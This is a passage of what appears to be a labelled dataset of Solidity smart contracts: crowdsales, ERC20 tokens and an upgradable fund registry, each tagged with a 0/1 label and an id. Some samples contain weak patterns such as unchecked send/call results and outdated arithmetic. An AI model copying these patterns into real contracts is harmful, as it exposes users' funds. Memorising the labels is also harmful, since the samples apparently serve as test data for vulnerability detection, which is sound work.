addressStorage[key].isEntity; } function getBytes(bytes32 key) external view returns(bytes memory) { return bytesStorage[key].value; } function bytesExists(bytes32 key) external view returns(bool) { return bytesStorage[key].isEntity; } function getBytes32(bytes32 key) external view returns(bytes32) { return bytes32Storage[key].value; } function bytes32Exists(bytes32 key) external view returns(bool) { return bytes32Storage[key].isEntity; } function getBool(bytes32 key) external view returns(bool) { return boolStorage[key].value; } function boolExists(bytes32 key) external view returns(bool) { return boolStorage[key].isEntity; } function getInt(bytes32 key) external view returns(int) { return intStorage[key].value; } function intExists(bytes32 key) external view returns(bool) { return intStorage[key].isEntity; } }
1
2,919
library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract IERC20Token { function totalSupply() constant returns (uint256 totalSupply); function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ItokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); } contract IToken { function totalSupply() constant returns (uint256 totalSupply); function mintTokens(address _to, uint256 _amount) {} } contract IMintableToken { function mintTokens(address _to, uint256 _amount){} } contract Owned { address public owner; address public newOwner; function Owned() { owner = msg.sender; } modifier onlyOwner { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } event OwnerUpdate(address _prevOwner, address _newOwner); } contract Lockable is Owned{ uint256 public lockedUntilBlock; event ContractLocked(uint256 _untilBlock, string _reason); modifier lockAffected { require(block.number > lockedUntilBlock); _; } function lockFromSelf(uint256 _untilBlock, string _reason) internal { lockedUntilBlock = _untilBlock; ContractLocked(_untilBlock, _reason); } function lockUntil(uint256 _untilBlock, string _reason) onlyOwner { lockedUntilBlock = _untilBlock; ContractLocked(_untilBlock, _reason); } } contract ReentrnacyHandlingContract{ bool locked; modifier noReentrancy() { require(!locked); locked = true; _; locked = false; } } contract MusiconomiCrowdsale is ReentrnacyHandlingContract, Owned{ struct ContributorData{ uint priorityPassAllowance; uint communityAllowance; bool isActive; uint contributionAmount; uint tokensIssued; } mapping(address => ContributorData) public contributorList; uint nextContributorIndex; mapping(uint => address) contributorIndexes; state public crowdsaleState = state.pendingStart; enum state { pendingStart, priorityPass, openedPriorityPass, crowdsale, crowdsaleEnded } uint public presaleStartBlock = 4217240; uint public presaleUnlimitedStartBlock = 4220630; uint public crowdsaleStartBlock = 4224030; uint public crowdsaleEndedBlock = 4319130; event PresaleStarted(uint blockNumber); event PresaleUnlimitedStarted(uint blockNumber); event CrowdsaleStarted(uint blockNumber); event CrowdsaleEnded(uint blockNumber); event ErrorSendingETH(address to, uint amount); event MinCapReached(uint blockNumber); event MaxCapReached(uint blockNumber); IToken token = IToken(0x0); uint ethToMusicConversion = 1416; uint minCap = 8824000000000000000000; uint maxCap = 17648000000000000000000; uint ethRaised; address public multisigAddress; uint nextContributorToClaim; mapping(address => bool) hasClaimedEthWhenFail; uint maxTokenSupply = 100000000000000000000000000; bool ownerHasClaimedTokens; uint cofounditReward = 2700000000000000000000000; address cofounditAddress = 0x8C0DB695de876a42cE2e133ca00fdF59A9166708; bool cofounditHasClaimedTokens; function() noReentrancy payable{ require(msg.value != 0); bool stateChanged = checkCrowdsaleState(); if (crowdsaleState == state.priorityPass){ if (contributorList[msg.sender].isActive){ processTransaction(msg.sender, msg.value); }else{ refundTransaction(stateChanged); } } else if(crowdsaleState == state.openedPriorityPass){ if (contributorList[msg.sender].isActive){ processTransaction(msg.sender, msg.value); }else{ refundTransaction(stateChanged); } } else if(crowdsaleState == state.crowdsale){ processTransaction(msg.sender, msg.value); } else{ refundTransaction(stateChanged); } } function checkCrowdsaleState() internal returns (bool){ if (ethRaised == maxCap && crowdsaleState != state.crowdsaleEnded){ crowdsaleState = state.crowdsaleEnded; MaxCapReached(block.number); CrowdsaleEnded(block.number); return true; } if (block.number > presaleStartBlock && block.number <= presaleUnlimitedStartBlock){ if (crowdsaleState != state.priorityPass){ crowdsaleState = state.priorityPass; PresaleStarted(block.number); return true; } }else if(block.number > presaleUnlimitedStartBlock && block.number <= crowdsaleStartBlock){ if (crowdsaleState != state.openedPriorityPass){ crowdsaleState = state.openedPriorityPass; PresaleUnlimitedStarted(block.number); return true; } }else if(block.number > crowdsaleStartBlock && block.number <= crowdsaleEndedBlock){ if (crowdsaleState != state.crowdsale){ crowdsaleState = state.crowdsale; CrowdsaleStarted(block.number); return true; } }else{ if (crowdsaleState != state.crowdsaleEnded && block.number > crowdsaleEndedBlock){ crowdsaleState = state.crowdsaleEnded; CrowdsaleEnded(block.number); return true; } } return false; } function refundTransaction(bool _stateChanged) internal{ if (_stateChanged){ msg.sender.transfer(msg.value); }else{ revert(); } } function calculateMaxContribution(address _contributor) constant returns (uint maxContribution){ uint maxContrib; if (crowdsaleState == state.priorityPass){ maxContrib = contributorList[_contributor].priorityPassAllowance + contributorList[_contributor].communityAllowance - contributorList[_contributor].contributionAmount; if (maxContrib > (maxCap - ethRaised)){ maxContrib = maxCap - ethRaised; } } else{ maxContrib = maxCap - ethRaised; } return maxContrib; } function processTransaction(address _contributor, uint _amount) internal{ uint maxContribution = calculateMaxContribution(_contributor); uint contributionAmount = _amount; uint returnAmount = 0; if (maxContribution < _amount){ contributionAmount = maxContribution; returnAmount = _amount - maxContribution; } if (ethRaised + contributionAmount > minCap && minCap < ethRaised) MinCapReached(block.number); if (contributorList[_contributor].isActive == false){ contributorList[_contributor].isActive = true; contributorList[_contributor].contributionAmount = contributionAmount; contributorIndexes[nextContributorIndex] = _contributor; nextContributorIndex++; } else{ contributorList[_contributor].contributionAmount += contributionAmount; } ethRaised += contributionAmount; uint tokenAmount = contributionAmount * ethToMusicConversion; token.mintTokens(_contributor, tokenAmount); contributorList[_contributor].tokensIssued += tokenAmount; if (returnAmount != 0) _contributor.transfer(returnAmount); } function editContributors(address[] _contributorAddresses, uint[] _contributorPPAllowances, uint[] _contributorCommunityAllowance) onlyOwner{ require(_contributorAddresses.length == _contributorPPAllowances.length && _contributorAddresses.length == _contributorCommunityAllowance.length); for(uint cnt = 0; cnt < _contributorAddresses.length; cnt++){ contributorList[_contributorAddresses[cnt]].isActive = true; contributorList[_contributorAddresses[cnt]].priorityPassAllowance = _contributorPPAllowances[cnt]; contributorList[_contributorAddresses[cnt]].communityAllowance = _contributorCommunityAllowance[cnt]; contributorIndexes[nextContributorIndex] = _contributorAddresses[cnt]; nextContributorIndex++; } } function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) onlyOwner{ IERC20Token(_tokenAddress).transfer(_to, _amount); } function withdrawEth() onlyOwner{ require(this.balance != 0); require(ethRaised >= minCap); multisigAddress.transfer(this.balance); } function claimEthIfFailed(){ require(block.number > crowdsaleEndedBlock && ethRaised < minCap); require(contributorList[msg.sender].contributionAmount > 0); require(!hasClaimedEthWhenFail[msg.sender]); uint ethContributed = contributorList[msg.sender].contributionAmount; hasClaimedEthWhenFail[msg.sender] = true; if (!msg.sender.send(ethContributed)){ ErrorSendingETH(msg.sender, ethContributed); } } function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner{ require(block.number > crowdsaleEndedBlock && ethRaised < minCap); address currentParticipantAddress; uint contribution; for (uint cnt = 0; cnt < _numberOfReturns; cnt++){ currentParticipantAddress = contributorIndexes[nextContributorToClaim]; if (currentParticipantAddress == 0x0) return; if (!hasClaimedEthWhenFail[currentParticipantAddress]) { contribution = contributorList[currentParticipantAddress].contributionAmount; hasClaimedEthWhenFail[currentParticipantAddress] = true; if (!currentParticipantAddress.send(contribution)){ ErrorSendingETH(currentParticipantAddress, contribution); } } nextContributorToClaim += 1; } } function withdrawRemainingBalanceForManualRecovery() onlyOwner{ require(this.balance != 0); require(block.number > crowdsaleEndedBlock); require(contributorIndexes[nextContributorToClaim] == 0x0); multisigAddress.transfer(this.balance); } function setMultisigAddress(address _newAddress) onlyOwner{ multisigAddress = _newAddress; } function setToken(address _newAddress) onlyOwner{ token = IToken(_newAddress); } function claimCoreTeamsTokens(address _to) onlyOwner{ require(crowdsaleState == state.crowdsaleEnded); require(!ownerHasClaimedTokens); uint devReward = maxTokenSupply - token.totalSupply(); if (!cofounditHasClaimedTokens) devReward -= cofounditReward; token.mintTokens(_to, devReward); ownerHasClaimedTokens = true; } function claimCofounditTokens(){ require(msg.sender == cofounditAddress); require(crowdsaleState == state.crowdsaleEnded); require(!cofounditHasClaimedTokens); token.mintTokens(cofounditAddress, cofounditReward); cofounditHasClaimedTokens = true; } function getTokenAddress() constant returns(address){ return address(token); } }
1
3,171
pragma solidity ^0.4.18; library SafeOpt { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a - b; assert(b <= a); assert(a == c + b); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); assert(a == c - b); return c; } } contract PPNTokenIssue { uint256 public lastYearTotalSupply = 15 * 10 ** 26; uint8 public affectedCount = 0; bool public initialYear = true; address public tokenContractAddress; uint16 public preRate = 1000; uint256 public lastBlockNumber; function PPNTokenIssue (address _tokenContractAddress) public{ tokenContractAddress = _tokenContractAddress; lastBlockNumber = block.number; } function returnRate() internal returns (uint256){ if(affectedCount == 10){ if(preRate > 100){ preRate -= 100; } affectedCount = 0; } return SafeOpt.div(preRate, 10); } function issue() public { if(initialYear){ require(SafeOpt.sub(block.number, lastBlockNumber) > 2102400); initialYear = false; } require(SafeOpt.sub(block.number, lastBlockNumber) > 2102400); PPNToken tokenContract = PPNToken(tokenContractAddress); if(affectedCount == 10){ lastYearTotalSupply = tokenContract.totalSupply(); } uint256 amount = SafeOpt.div(SafeOpt.mul(lastYearTotalSupply, returnRate()), 10000); require(amount > 0); tokenContract.issue(amount); lastBlockNumber = block.number; affectedCount += 1; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract PPNToken { string public name = 'PPNToken'; string public symbol = 'PPN'; uint8 public decimals = 18; uint256 public totalSupply = 100 * 10 ** 26; address public issueContractAddress; address public owner; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); event Issue(uint256 amount); function PPNToken() public { owner = msg.sender; balanceOf[owner] = totalSupply; issueContractAddress = new PPNTokenIssue(address(this)); } function issue(uint256 amount) public { require(msg.sender == issueContractAddress); balanceOf[owner] = SafeOpt.add(balanceOf[owner], amount); totalSupply = SafeOpt.add(totalSupply, amount); Issue(amount); } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success){ _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_value <= balanceOf[msg.sender]); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function allowance(address _owner, address _spender) view public returns (uint256 remaining) { return allowance[_owner][_spender]; } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
1
3,444
pragma solidity ^0.4.24; contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract AbstractToken is Token, SafeMath { function AbstractToken () { } function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } mapping (address => uint256) accounts; mapping (address => mapping (address => uint256)) private allowances; } contract MATSToken is AbstractToken { uint256 constant MAX_TOKEN_COUNT = 100000000 * (10**8); address private owner; mapping (address => bool) private frozenAccount; uint256 tokenCount = 0; bool frozen = false; function MATSToken () { owner = msg.sender; } function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "Massage Tokens"; string constant public symbol = "MATS"; uint8 constant public decimals = 8; function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); emit Transfer(0x0, msg.sender, _value); return true; } return false; } function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } event Freeze (); event Unfreeze (); event FrozenFunds(address target, bool frozen); event RefundTokens(address _token, address _refund, uint256 _value); }
1
4,426
pragma solidity ^0.4.17; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } contract MOKEN is StandardToken { string public name = "MOKEN"; string public symbol = "MOKN"; uint256 public decimals = 18; uint256 constant INITIAL_SUPPLY = 17000000 * 10**18; function MOKEN () public { balances[msg.sender] = INITIAL_SUPPLY; } } contract Crowdsale is Ownable { using SafeMath for uint256; MOKEN public token; uint256 public startTime; uint256 public endTime; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; token = createTokenContract(); } function createTokenContract() internal returns (MOKEN) { return new MOKEN(); } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); ERC20(token).transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function transferTokens(address beneficiary,uint tokens) onlyOwner public { require(beneficiary != address(0)); ERC20(token).transfer(beneficiary, tokens); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool withinPeriod = block.timestamp >= startTime && block.timestamp <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public view returns (bool) { return now > endTime; } function setRate(uint256 _rate) public onlyOwner{ rate = _rate; } function setWallet(address _wallet) public onlyOwner{ wallet = _wallet; } function setStartTime(uint256 _startTime) public onlyOwner{ startTime = _startTime; } function setEndTime(uint256 _endTime) public onlyOwner{ endTime = _endTime; } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; function CappedCrowdsale(uint256 _cap,uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) Crowdsale (_startTime, _endTime, _rate, _wallet) public { require(_cap > 0); cap = _cap; } function validPurchase() internal view returns (bool) { uint256 count = weiRaised.add(msg.value); bool withinCap = count <= cap; return super.validPurchase() && withinCap; } function hasEnded() public view returns (bool) { bool capReached = weiRaised >= cap; return super.hasEnded() || capReached; } }
1
5,334
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.7; contract Proxiable { function updateCodeAddress(address newAddress) internal { require( bytes32(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7) == Proxiable(newAddress).proxiableUUID(), "Not compatible" ); assembly { sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, newAddress) } } function proxiableUUID() public pure returns (bytes32) { return 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; } } contract LibraryLockDataLayout { bool public initialized = false; } contract LibraryLock is LibraryLockDataLayout { modifier delegatedOnly() { require(initialized == true, "The library is locked. No direct 'call' is allowed"); _; } function initialize() internal { initialized = true; } } contract RegistryDataLayout is LibraryLock { address public owner; struct whitelistVotes { uint32 yesVotes; uint32 noVotes; address[] managers; } mapping(address => whitelistVotes) public whitelistContract; mapping(address => bool) public whitelist; struct queuedContract { uint256 finalizationBlock; bool result; } mapping(address => queuedContract) public queuedContracts; address[] public queueList; using SafeMath for uint32; using SafeMath for uint256; address public fundContract = 0x2c9728ad35C1CfB16E3C1B5045bC9BA30F37FAc5; address public connector = 0x60d70dF1c783b1E5489721c443465684e2756555; address public devFund = 0xd66A9D2B706e225204F475c9e70A4c09eEa62199; address public rewardsContract = 0x868f7622F57b62330Db8b282044d7EAf067fAcfe; address public contractManager; address public nyanManager; address public selfManager; address public nyanVoting; } interface usedContract { function getManagerLimit() external returns(uint32); function sendFundETH(address _manager) external payable; function getFundETH(uint256 amount) external; function returnFundETH() external payable; function fundLog(address manager, string calldata reason, address recipient) external payable; function isFundManager(address manager) view external returns(bool); function checkFundManagerAllowance(address _manager, uint256 ETH) external returns(bool); function checkManagerAllowance(address _manager, uint256 ETH) external returns(bool); function adjustFundManagerAllowance(address _manager, uint256 ETH, uint256 profit) external; function adjustManagerAllowance(address _manager, uint256 ETH, uint256 profit) external; } contract Registry is RegistryDataLayout, Proxiable { constructor() public { } function initRegistry(address _nyanManager) public { require(!initialized); owner = msg.sender; initialize(); } function updateCode(address newCode) public delegatedOnly { if (owner == address(0)) { require(msg.sender == contractManager); } else { require(msg.sender == owner); } updateCodeAddress(newCode); } function setContracts(address _contractManager, address _nyanManager, address _selfManager, address _nyanVoting) public { require(msg.sender == owner); contractManager = _contractManager; nyanManager = _nyanManager; selfManager = _selfManager; nyanVoting = _nyanVoting; fundContract = 0x2c9728ad35C1CfB16E3C1B5045bC9BA30F37FAc5; connector = 0x60d70dF1c783b1E5489721c443465684e2756555; devFund = 0xd66A9D2B706e225204F475c9e70A4c09eEa62199; rewardsContract = 0x868f7622F57b62330Db8b282044d7EAf067fAcfe; } function useFundETH(address manager, uint256 ETH, address recipient) public delegatedOnly payable { require(whitelist[msg.sender]); bool canSpend = usedContract(nyanManager).checkFundManagerAllowance(manager, ETH); require(canSpend); usedContract(connector).getFundETH(ETH); usedContract(connector).fundLog(manager, "used ETH for an investment", recipient); require(whitelist[recipient]); usedContract(recipient).sendFundETH{value: ETH}(manager); } function returnFundETH(address manager, uint256 profit) public delegatedOnly payable { require(whitelist[msg.sender]); if (profit > 100) { rewardsContract.call{value: profit.mul(40).div(100).sub(10)}(""); manager.call{value: profit.mul(20).div(100)}(""); devFund.call{value: profit.mul(10).div(100)}(""); usedContract(connector).returnFundETH{value: msg.value.sub(profit.mul(70).div(100))}(); } else { usedContract(connector).returnFundETH{value: msg.value}(); } usedContract(connector).fundLog(manager, "returned ETH from an investment", fundContract); usedContract(nyanManager).adjustFundManagerAllowance(manager, msg.value, profit); } function useManagerETH(address manager, uint256 ETH, address recipient) public delegatedOnly payable { require(whitelist[msg.sender]); bool canSpend = usedContract(selfManager).checkManagerAllowance(manager, ETH); require(canSpend); usedContract(connector).getFundETH(ETH); usedContract(connector).fundLog(manager, "used ETH for an investment", recipient); require(whitelist[recipient]); usedContract(recipient).sendFundETH{value: ETH}(manager); } function returnManagerETH(address manager, uint256 profit) public delegatedOnly payable { require(whitelist[msg.sender]); if (profit > 100) { rewardsContract.call{value: profit.mul(10).div(100).sub(10)}(""); manager.call{value: profit.mul(20).div(100)}(""); usedContract(connector).returnFundETH{value: msg.value.sub(profit.mul(30).div(100))}(); profit = profit.sub(profit.mul(30).div(100)); } else { usedContract(connector).returnFundETH{value: msg.value}(); } usedContract(connector).fundLog(manager, "returned ETH from an investment", fundContract); usedContract(selfManager).adjustManagerAllowance(manager, msg.value, profit); } function manageContract(address _contract, address _manager, bool vote) public delegatedOnly { require(msg.sender == nyanVoting); require(usedContract(nyanManager).isFundManager(_manager)); bool hasVoted; for(uint32 i; i < whitelistContract[_contract].managers.length; i++) { if (whitelistContract[_contract].managers[i] == msg.sender) { hasVoted = true; } } require(!hasVoted, "You've already voted"); if (vote) { whitelistContract[_contract].yesVotes = uint32(whitelistContract[_contract].yesVotes.add(1)); } else { whitelistContract[_contract].noVotes = uint32(whitelistContract[_contract].noVotes.add(1)); } whitelistContract[_contract].managers.push(msg.sender); if (whitelistContract[_contract].yesVotes.add(whitelistContract[_contract].noVotes) == usedContract(nyanManager).getManagerLimit()) { if (whitelistContract[_contract].yesVotes > whitelistContract[_contract].noVotes) { queueList.push(_contract); queuedContracts[_contract].finalizationBlock = block.number.add(45500); queuedContracts[_contract].result = true; } if (whitelistContract[_contract].yesVotes < whitelistContract[_contract].noVotes) { queueList.push(_contract); queuedContracts[_contract].finalizationBlock = block.number.add(45500); queuedContracts[_contract].result = false; } } } function finalizeWhitelist(address _contract) public { bool isInQueue; for (uint32 i; i < queueList.length; i++) { if (queueList[i] == _contract) { if (queuedContracts[queueList[i]].finalizationBlock < block.number) { whitelist[_contract] = queuedContracts[queueList[i]].result; removeFromQueue(i); return; } } } } function removeFromQueue(uint index) internal { queueList[index] = queueList[queueList.length-1]; delete queueList[queueList.length-1]; queueList.pop(); } function createWhitelist(address _contract) public { require(msg.sender == owner); whitelist[_contract] = true; } function checkRegistry(address _contract) public view returns(bool) { return whitelist[_contract]; } receive() external payable { } }
0
466
pragma solidity ^0.4.18; contract ReadOnlyToken { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function allowance(address owner, address spender) public constant returns (uint256); } contract Token is ReadOnlyToken { function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MintableToken is Token { event Mint(address indexed to, uint256 amount); function mint(address _to, uint256 _amount) public returns (bool); } contract Sale { event Purchase(address indexed buyer, address token, uint256 value, uint256 sold, uint256 bonus); event RateAdd(address token); event RateRemove(address token); function getRate(address token) constant public returns (uint256); function getBonus(uint256 sold) constant public returns (uint256); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= 